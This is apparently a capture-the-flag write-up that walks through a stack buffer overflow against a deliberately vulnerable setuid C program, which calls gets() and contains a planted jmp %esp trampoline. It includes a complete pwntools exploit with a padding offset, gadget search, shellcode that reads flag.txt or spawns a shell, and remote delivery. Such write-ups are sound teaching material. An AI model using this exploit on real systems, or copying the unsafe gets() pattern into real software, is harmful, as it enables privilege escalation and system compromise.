Overview

This attack injects and executes custom shellcode on the stack by exploiting a stack-based buffer overflow and a deliberate trampoline instruction (jmp %esp) present in the target binary. The payload pivots execution to attacker-controlled bytes at ESP and runs shellcode to read and print flag.txt.

Shellcode Injection Attack (x86, jmp esp trampoline)


Target Summary and Vulnerability

#include <stdio.h>
 
int secret_function() {
    asm("jmp %esp");
}
 
void receive_feedback()
{
    char buffer[64];
 
    puts("Please leave your comments for the server admin but DON'T try to steal our flag.txt:\n");
    gets(buffer);
}
 
int main()
{
    setuid(0);
    setgid(0);
 
    receive_feedback();
 
    return 0;
}
  • Vulnerability: gets(buffer) copies unbounded input into a 64-byte stack buffer → classic stack buffer overflow.
  • Trampoline: secret_function() embeds a jmp %esp instruction in .text, giving a reliable pivot to the stack (where our shellcode lives).
  • Privilege context: setuid(0); setgid(0); before input; a shell/command executed by our shellcode inherits elevated privileges (important in real targets).
  • Exploit preconditions typically required for direct shellcode-on-stack:
    • NX/DEP disabled (stack executable) OR you must arrange an RWX region first (not done here).
    • PIE disabled (or otherwise know the absolute address of jmp %esp); here we search the opcode inside the loaded ELF.
    • No stack canary (or a way to bypass it).

High-level Attack Plan

  1. Overflow the 64-byte buffer with padding until the saved EIP overwrite.
  2. Overwrite saved EIP with the address of a jmp %esp instruction in the binary.
  3. Place a small NOP sled and then shellcode immediately after the saved EIP on the stack.
  4. When the function returns, execution lands at jmp %esp → jumps to ESP → hits our NOPs → executes our shellcode.

Script Walkthrough

1) Environment and Launcher

from pwn import *
 
def start(argv=[], *a, **kw):
    if args.GDB:    return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE: return remote(sys.argv[1], sys.argv[2], *a, **kw)
    else:           return process([exe] + argv, *a, **kw)
 
gdbscript = '''
init-pwndbg
continue
'''
 
exe  = './server'
elf  = context.binary = ELF(exe, checksec=False)
context.log_level = 'debug'
io = start()
  • start() toggles local/GDB/remote without code changes.
  • ELF(exe) enables symbol lookups and byte-pattern searches in the binary.
  • checksec=False skips security checks; use elf.checksec() during analysis if needed.

2) Control Offset (padding)

padding = 76
  • Number of bytes to reach the saved EIP (buffer + saved EBP).
  • In practice, obtain this with a cyclic pattern (cyclic/cyclic_find); here it’s precomputed and hardcoded as 76.

3) Locate the jmp %esp Gadget inside the Binary

jmp_esp = asm('jmp esp')            # assemble opcode bytes for x86
jmp_esp = next(elf.search(jmp_esp)) # find its address in .text
  • Assembles the machine bytes for jmp esp and searches the ELF for the first occurrence.
  • Because the binary explicitly contains that instruction in secret_function(), this is a stable target address.
  • Using the ELF’s own bytes avoids relying on external module addresses or ASLR-sensitive locations.

4) Build the Shellcode

shellcode  = asm(shellcraft.cat('flag.txt')) # read/print flag
# shellcode = asm(shellcraft.sh())           # alternative: interactive shell
shellcode += asm(shellcraft.exit())          # clean exit
  • Pwntools shellcraft emits compact, position-independent x86 shellcode.
  • cat('flag.txt') is deterministic and avoids TTY issues common with sh.
  • Appending exit() prevents crashing after completion (optional but tidy).

5) Construct the Final Payload

payload = flat(
    asm('nop') * padding,   # fill up to saved EIP
    jmp_esp,                # overwrite saved EIP with address of jmp esp
    asm('nop') * 16,        # small NOP sled after redirect
    shellcode               # our code lives at ESP after jmp
)
  • Layout (little-endian packing handled by flat()):

    [ 76 x NOPs ] [ EIP = &jmp_esp ] [ 16 x NOPs ] [ shellcode ... ]
                 ^ saved EIP
  • On function return, EIP = &jmp esp → CPU executes jmp esp → lands at start of the post-EIP NOP sled → slides into shellcode.

  • The post-EIP NOP sled provides landing tolerance if ESP isn’t exactly where expected.

6) Delivery and Interaction

write("payload", payload)          # artifact for debugging/replay
io.sendlineafter(b':', payload)    # sync on prompt, then send
io.interactive()                   # receive flag / interact with shell
  • sendlineafter ensures the program is ready to accept input.
  • interactive keeps the session open to capture output or interact with a spawned shell.

Memory and Control-flow Diagram (simplified)

Stack just before returning from receive_feedback():

... [local buffer 64B] [saved EBP] [saved EIP] [next stack bytes...]
                      ^            ^
                      |            |
                      |            +-- overwritten with &jmp_esp (in .text)
                      |
                      +-- padding fills from buffer start up to saved EIP
 
[next bytes after saved EIP on stack]:
  [ NOP sled ] [ shellcode ... ]

Return → EIP = &jmp_esp → CPU executes jmp esp → ESP points to [ NOP sled ][ shellcode ] → shellcode runs.


Practical Considerations

  • Checksec / Mitigations
    • NX (DEP): Must be disabled for direct stack execution. If NX is on, use a ROP stage to mprotect/mmap RX pages or jump to RWX segment.
    • PIE: If enabled, &jmp_esp will be randomized. Here, the script searches at runtime in the loaded image, which still works locally under typical ASLR if PIE is off. For remote, ensure determinism or leak a code pointer first.
    • Canary: If present, you must bypass or leak it before overwriting saved EIP.
  • Reliability
    • Keep a modest NOP sled after the EIP overwrite; too short leaves little margin, too long may affect offsets in other scenarios.
    • Prefer cat('flag.txt') over a full shell for CI-friendly solves; swap to shellcraft.sh() for interactive engagement.
  • Debug workflow
    • Use GDB (--GDB) to verify padding, inspect ESP at crash, confirm that &jmp_esp is correct, and step through the trampoline into shellcode.

Key Takeaways

  1. Trampoline-assisted shellcode execution: Leverages a built-in jmp %esp to pivot cleanly into stack-resident shellcode.
  2. Precise control offset: Correct padding is crucial to place the jmp esp overwrite at saved EIP.
  3. Self-contained payload: NOP sled + shellcode placed immediately after EIP overwrite provides robust redirection and execution.
  4. Mitigation awareness: Works as-is when NX is off and PIE is off; otherwise adapt with a ROP prelude (e.g., mprotect) or pointer leaks.

Resources


LinkDescription
1.17 - Ret2libc Attack